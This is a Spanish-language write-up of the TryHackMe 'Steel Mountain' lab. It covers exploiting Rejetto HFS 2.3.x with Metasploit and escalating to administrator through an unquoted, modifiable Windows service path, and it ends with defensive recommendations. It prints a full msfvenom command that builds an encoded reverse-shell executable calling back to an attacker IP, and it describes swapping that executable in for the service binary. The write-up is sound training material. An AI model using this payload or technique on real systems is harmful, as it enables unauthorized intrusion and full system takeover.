Writeup de la máquina Steel Mountain de TryHackMe.
Resumen
Encontramos varias vulnerabilidades que nos permitieron obtener acceso no autorizado al sistema. Primero, encontramos servicios en los puertos 80 y 8080 que exponían información sensible. Luego, usando un exploit en uno de estos servicios, conseguimos acceso al sistema con una reverse shell.
Después, escalamos privilegios y logramos permisos de administrador gracias a una mala configuración de permisos en uno de los servicios del sistema, lo cual nos dio acceso a archivos críticos y nos permitió llegar hasta información confidencial.
Reconocimiento
Empezamos con un escaneo de red con nmap para ver qué puertos estaban abiertos y qué servicios corrían en ellos.

Resultado del reconocimiento
Sistema Operativo | Dirección IP | Puertos Abiertos |
---|---|---|
Windows Server 2008 | 10.10.128.109 | 80 (HTTP), 135 (RPC), 139 (NetBIOS), 445 (SMB), 3389 (RDP), 5985 (WinRM HTTP), 8080 (HTTP-Alternate), 47001 (WinRM HTTPS), and 49152-49164 (Dynamic RPC range) |
Explotación
Al investigar el puerto 80 en el navegador, encontramos la página de inicio de Steel Mountain con un “Empleado del Mes” llamado Bill Harper (nombre tomado del archivo de la imagen). En el puerto 8080, descubrimos un servidor Rejetto HTTP que estaba expuesto y vulnerable a un exploit de ejecución remota de comandos (Remote Command Execution) en la versión 2.3.x de HFS. Usamos metasploit para lanzar el exploit y obtener una conexión reverse shell en el servidor. En el escritorio del usuario se encuentra la primera bandera.



Escalación de privilegios
Con acceso inicial al sistema, ejecutamos el script PowerUp.ps1 en PowerShell para buscar posibles problemas de configuración en el sistema Windows. El script detectó que el servicio AdvancedSystemCareService9
tenía configuraciones de permisos mal configuradas:
- La ruta del servicio no tenía comillas y tenía espacios, lo que es vulnerable en Windows.
- El servicio estaba configurado con permisos modificables, lo que permite a usuarios sin privilegios hacer cambios.

Creamos un payload de reverse shell con msfvenom usando el comando:
1msfvenom -p windows/shell_reverse_tcp LHOST=10.6.5.62 LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o CleanupService.exe
Este comando generó un ejecutable CleanupService.exe
con un payload de revervse shell hacia nuestra máquina. Subimos este archivo al servidor, reemplazamos el ejecutable legítimo del servicio y lo reiniciamos con sc stop
y sc start
, ejecutando así nuestro payload y obteniendo acceso de administrador.

Una vez dentro del sistema se consiguió la bandera final.


Herramientas utilizadas
Herramienta | Descripción |
---|---|
nmap | Para el reconocimiento inicial y detección de servicios y puertos abiertos. |
metasploit | Para lanzar el exploit contra el servidor Rejetto HTTP. |
PowerUp.ps1 | Script de PowerShell para analizar configuraciones de privilegios en sistemas Windows. |
msfvenom | Para generar el payload de reverse shell que ejecutamos para obtener permisos de administrador. |
Conclusión
Esta máquina era bastante vulnerable, con servicios web mal configurados y permisos inseguros en algunos servicios, lo que hizo relativamente fácil tanto el acceso inicial como la escalación de privilegios.
Recomendaciones
Para mejorar la seguridad:
- Restringir el acceso a puertos no esenciales y limitar el acceso a IPs confiables.
- Actualizar o reemplazar el servidor Rejetto HTTP para cerrar posibles vulnerabilidades.
- Revisar y ajustar las configuraciones de servicios, asegurándose de que las rutas estén entre comillas y los permisos de modificación sean seguros.
- Implementar monitoreo y control de accesos en tiempo real para detectar cualquier actividad no autorizada en el sistema.